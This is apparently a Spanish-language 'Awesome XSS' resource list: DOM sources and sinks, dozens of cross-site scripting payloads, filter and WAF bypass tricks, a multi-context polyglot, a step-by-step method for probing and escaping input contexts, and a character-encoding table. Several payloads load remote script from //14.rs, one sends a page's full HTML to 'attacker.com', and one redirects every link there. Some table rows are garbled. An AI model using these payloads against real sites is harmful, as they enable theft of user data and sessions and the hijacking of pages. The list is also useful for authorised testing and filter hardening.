
Increíbles cosas sobre XSS
Este repositorio es una colección de recursos Awesome XSS. Las contribuciones son bienvenidas y deben enviarse mediante un issue.
Un hermoso mapa mental de XSS por Jack Masa, aquí
VulnerableNo vulnerableSource: Una entrada que podría ser controlada por una fuente externa (no confiable).
document.URL
document.documentURI
document.URLUnencoded (IE 5.5 or later Only)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage
Sink: Un método potencialmente peligroso que podría llevar a una vulnerabilidad. En este caso, un XSS basado en DOM.
eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location
Esta lista completa de sinks y sources está tomada de domxsswiki.
<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="javascript%26colon;alert(1)">click
<a href=javascript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--` --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
x
<svg onload=write()>
Aquí hay un polyglot XSS que hice que puede salir de 20+ contextos:
%0ajavascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
Explicación de cómo funciona, aquí
Algunos manejadores de eventos menos detectados
ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel
Algunas etiquetas HTML que usarás
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video
Caso: <tag>You searched for $input. </tag>
<svg onload=alert()>
</tag><svg onload=alert()>
Caso: <tag attribute="$input">
"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()
Caso: <script> var new something = '$input'; </script>
'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>
Sí, confirm porque alert es demasiado mainstream.
confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)
Array.from(document.getElementsByTagName("a")).forEach(function(i) {
i.href = "https://attacker.com";
});
<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">
Si nada de esto funciona, echa un vistazo a la sección Awesome Bypassing.
En primer lugar, introduce una cadena no maliciosa como d3v y mira el código fuente para hacerte una idea sobre la cantidad y contextos de reflexiones.
Ahora, para contexto de atributo, comprueba si las comillas dobles (") están siendo filtradas introduciendo x"d3v. Si se altera a x"d3v, es probable que la salida esté siendo escapada correctamente. Si esto ocurre, intenta lo mismo con comillas simples (') introduciendo x'd3v, si se altera a x', estás perdido. Lo único que puedes intentar es la codificación.
Si las comillas no están siendo filtradas, simplemente puedes probar payloads de la sección Awesome Context Breaking.
Para contexto JavaScript, comprueba qué comillas se están usando; por ejemplo, si están haciendo
variable = 'value' or variable = "value"
Ahora, supongamos que se usan comillas simples ('). En ese caso, introduce x'd3v. Si se altera a x\'d3v, intenta escapar la barra invertida () añadiendo una barra invertida a tu sonda, es decir, x\'d3v. Si funciona, usa el siguiente payload:
\'-alert()//
Pero si se altera a x\\\'d3v, lo único que puedes intentar es cerrar la propia etiqueta script usando
</script><svg onload=alert()>
Para contexto HTML simple, la sonda es x<d3v. Si se altera a x>d3v, hay una sanitización adecuada. Si se refleja tal cual, puedes introducir una etiqueta ficticia para comprobar posibles filtros. La etiqueta ficticia que me gusta usar es x<xxx>. Si se elimina o altera de alguna manera, significa que el filtro busca un par de < y >. Se puede evadir fácilmente usando
<svg onload=alert()//
o esto (no funcionará en todos los casos)
<svg onload=alert()
Si tus etiquetas ficticias aparecen en el código fuente tal cual, usa cualquiera de estos payloads
<svg onload=alert()>
<embed src=//14.rs>
<details open ontoggle=alert()>
Nota: Ninguno de estos payloads usa comillas simples (') o dobles (").
<object data=javascript:confirm()>
<a href=javascript:confirm()>click here
<script src=//14.rs></script>
<script>confirm()</script>
<svg/onload=confirm()>
<svg onload=confirm()>
<script>confirm()</script>
<svg onload=confirm()//
<script src=//14.rs></script>
<svg onload=co\u006efirm()>
<svg onload=z=co\u006efir\u006d,z()>
<x onclick=confirm()>click here
<x ondrag=aconfirm()>drag it
</ScRipT>
</script
</script/>
</script x>
http(s):// se puede acortar a // o /\\ o \\.document.cookie se puede acortar a cookie. Aplica también a otros objetos DOM.alert('XSS') y empieza a usar alert()// para cerrar una etiqueta en lugar de >.confirm es la función de pop-up menos detectada, así que deja de usar alert.<script src=//14.rs> en lugar de Todos los payloads son creados por mí a menos que se especifique lo contrario.
| HTML | Car | Numérico | Descripción | Hex | CSS (ISO) | JS (Octal) | URL |
|---|
" | " | " | comilla doble | u+0022 | \0022 | \42 | %22 |
# | # | # | signo de número | u+0023 | \0023 | \43 | %23 |
$ | $ | $ | signo de dólar | u+0024 | \0024 | \44 | %24 |
% | % | % | signo de porcentaje | u+0025 | \0025 | \45 | %25 |
& | & | & | ampersand | u+0026 | \0026 | \46 | %26 |
' | ' | ' | apóstrofe | u+0027 | \0027 | \47 | %27 |
( | ( | ( | paréntesis izquierdo | u+0028 | \0028 | \50 | %28 |
) | ) | ) | paréntesis derecho | u+0029 | \0029 | \51 | %29 |
* | * | * | asterisco | u+002A | \002a | \52 | %2A |
+ | + | + | signo de más | u+002B | \002b | \53 | %2B |
, | , | , | coma | u+002C | \002c | \54 | %2C |
− | - | - | guión menos | u+002D | \002d | \55 | %2D |
. | . | . | punto; punto | u+002E | \002e | \56 | %2E |
/ | / | / | barra oblicua; slash | u+002F | \002f | \57 | %2F |
: | : | : | dos puntos | u+003A | \003a | \72 | %3A |
; | ; | ; | punto y coma | u+003B | \003b | \73 | %3B |
< | < | < | menor que | u+003C | \003c | \74 | %3C |
= | = | = | igual | u+003D | \003d | \75 | %3D |
> | > | > | signo de mayor que | u+003E | \003e | \76 | %3E |
? | ? | ? | signo de interrogación | u+003F | \003f | \77 | %3F |
@ | @ | @ | arroba; arroba comercial | u+0040 | \0040 | \100 | %40 |
[ | [ | [ | corchete izquierdo | u+005B | \005b | \133 | %5B |
\ | \ | \ | barra invertida | u+005C | \005c | \134 | %5C |
] | ] | ] | corchete derecho | u+005D | \005d | \135 | %5D |
^ | ^ | ^ | acento circunflejo | u+005E | \005e | \136 | %5E |
_ | _ | _ | guión bajo | u+005F | \005f | \137 | %5F |
` | ` | ` | acento grave | u+0060 | \0060 | \u0060 | %60 |
{ | { | { | llave izquierda | u+007b | \007b | \173 | %7b |
| | | | | | barra vertical | u+007c | \007c | \174 | %7c |
} | } | } | llave derecha | u+007d | \007d | \175 | %7d |
<script src="//14.rs"><script src=//14.rs> (19 caracteres)